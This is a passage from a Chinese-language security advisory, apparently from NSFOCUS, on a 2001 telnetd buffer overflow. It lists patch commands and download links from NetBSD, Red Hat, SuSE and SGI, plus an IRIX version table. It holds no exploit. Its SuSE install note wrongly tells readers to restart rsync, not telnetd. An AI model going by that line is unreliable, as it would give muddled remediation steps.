ftp://ftp.netbsd.org/pub/NetBSD/security/patches/SA2001-012-telnetd.patch
# cd src/libexec/telnetd
# patch < SA2001-012-telnetd.patch
# make cleandir dependall install
RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2001:099-06)以及相应补丁:
RHSA-2001:099-06:New telnet packages available to fix buffer overflow vulnerabilities
链接:https://www.redhat.com/support/errata/RHSA-2001-099.html
补丁下载:
Red Hat Linux 5.2:
SRPMS:
ftp://updates.redhat.com/5.2/en/os/SRPMS/telnet-0.17.5x-18.src.rpm
alpha:
ftp://updates.redhat.com/5.2/en/os/alpha/telnet-0.17.5x-18.alpha.rpm
i386:
ftp://updates.redhat.com/5.2/en/os/i386/telnet-0.17.5x-18.i386.rpm
sparc:
ftp://updates.redhat.com/5.2/en/os/sparc/telnet-0.17.5x-18.sparc.rpm
Red Hat Linux 6.2:
SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/telnet-0.17.6x-18.src.rpm
alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/telnet-0.17.6x-18.alpha.rpm
ftp://updates.redhat.com/6.2/en/os/alpha/telnet-server-0.17.6x-18.alpha.rpm
i386:
ftp://updates.redhat.com/6.2/en/os/i386/telnet-0.17.6x-18.i386.rpm
ftp://updates.redhat.com/6.2/en/os/i386/telnet-server-0.17.6x-18.i386.rpm
sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/telnet-0.17.6x-18.sparc.rpm
ftp://updates.redhat.com/6.2/en/os/sparc/telnet-server-0.17.6x-18.sparc.rpm
Red Hat Linux 7.0:
SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/telnet-0.17-18.src.rpm
alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/telnet-0.17-18.alpha.rpm
ftp://updates.redhat.com/7.0/en/os/alpha/telnet-server-0.17-18.alpha.rpm
i386:
ftp://updates.redhat.com/7.0/en/os/i386/telnet-0.17-18.i386.rpm
ftp://updates.redhat.com/7.0/en/os/i386/telnet-server-0.17-18.i386.rpm
Red Hat Linux 7.1:
SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/telnet-0.17-18.src.rpm
alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/telnet-0.17-18.alpha.rpm
ftp://updates.redhat.com/7.1/en/os/alpha/telnet-server-0.17-18.alpha.rpm
i386:
ftp://updates.redhat.com/7.1/en/os/i386/telnet-0.17-18.i386.rpm
ftp://updates.redhat.com/7.1/en/os/i386/telnet-server-0.17-18.i386.rpm
ia64:
ftp://updates.redhat.com/7.1/en/os/ia64/telnet-0.17-18.ia64.rpm
ftp://updates.redhat.com/7.1/en/os/ia64/telnet-server-0.17-18.ia64.rpm
可使用下列命令安装补丁:
rpm -Fvh [文件名]
S.u.S.E.
--------
S.u.S.E.已经为此发布了一个安全公告(SuSE-SA:2001:029)以及相应补丁:
SuSE-SA:2001:029:nkitb/nkitserv/telnetd
补丁下载:
i386 Intel Platform:
SuSE-7.2
ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/telnet-server-1.0-69.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/telnet-1.0-69.src.rpm
SuSE-7.1
ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/nkitserv-2001.8.14-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm
SuSE-7.0
ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/nkitserv-2001.8.16-0.i386.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm
Sparc Platform:
SuSE-7.1
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n1/nkitserv-2001.8.14-0.sparc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm
SuSE-7.0
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/nkitserv-2001.8.16-0.sparc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm
AXP Alpha Platform:
SuSE-7.1
ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/nkitserv-2001.8.14-0.alpha.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm
SuSE-7.0
ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/nkitserv-2001.8.16-0.alpha.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm
Power PC Platform:
SuSE-7.1
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/nkitserv-2001.8.14-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/nkitb-2001.8.14-0.src.rpm
SuSE-7.0
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/nkitserv-2001.8.16-0.ppc.rpm
source rpm:
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/nkitb-2001.8.16-0.src.rpm
补丁安装方法:
用“rpm -Fhv file.rpm”命令安装文件,完成后,如果rsync服务是用inetd启动的,向inetd进程发送信号重启之。如果rsync是用“rsync --daemon”命令启动的,则再用此命令重启rsync服务。
SGI
---
SGI已经为此发布了一个安全公告(20010801-01-P)以及相应补丁:
20010801-01-P:IRIX Telnet protocol options vulnerability
链接:ftp://patches.sgi.com/support/free/security/advisories/20010801-01-P
补丁情况:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x unknown Note 1
IRIX 4.x unknown Note 1
IRIX 5.x unknown Note 1
IRIX 6.0.x unknown Note 1
IRIX 6.1 unknown Note 1
IRIX 6.2 unknown Note 1
IRIX 6.3 unknown Note 1
IRIX 6.4 unknown Note 1
IRIX 6.5 yes 4354 Note 2 & 3
IRIX 6.5.1 yes 4354 Note 2 & 3
IRIX 6.5.2 yes 4354 Note 2 & 3
IRIX 6.5.3 yes 4354 Note 2 & 3
IRIX 6.5.4 yes 4354 Note 2 & 3
IRIX 6.5.5 yes 4354 Note 2 & 3
IRIX 6.5.6 yes 4354 Note 2 & 3
IRIX 6.5.7 yes 4354 Note 2 & 3
IRIX 6.5.8 yes 4354 Note 2 & 3
IRIX 6.5.9 yes 4354 Note 2 & 3
IRIX 6.5.10 yes 4354 Note 2 & 3
IRIX 6.5.11 yes 4354 Note 2 & 3
IRIX 6.5.12 yes 4354 Note 2 & 3
IRIX 6.5.13 yes 4354 Note 3 & 4
备注:
1) 这个版本的IRIX系统已经不再被维护了,请升级到受支持的版本,参看http://support.sgi.com/irix/news/index.html#policy 来获得更多的信息。
2) 如果你还未收到一张IRIX 6.5.x for IRIX 6.5的CD,请联系SGI的支持
部门,访问:http://support.sgi.com/irix/swupdates/ 。
3) 升级到IRIX 6.5.16m或6.5.16f。
您可以在下列地址下载IRIX补丁:
http://support.sgi.com/
ftp://patches.sgi.com/support/patchset/
浏览次数:4966
严重程度:0(网友投票)
绿盟科技给您安全的保障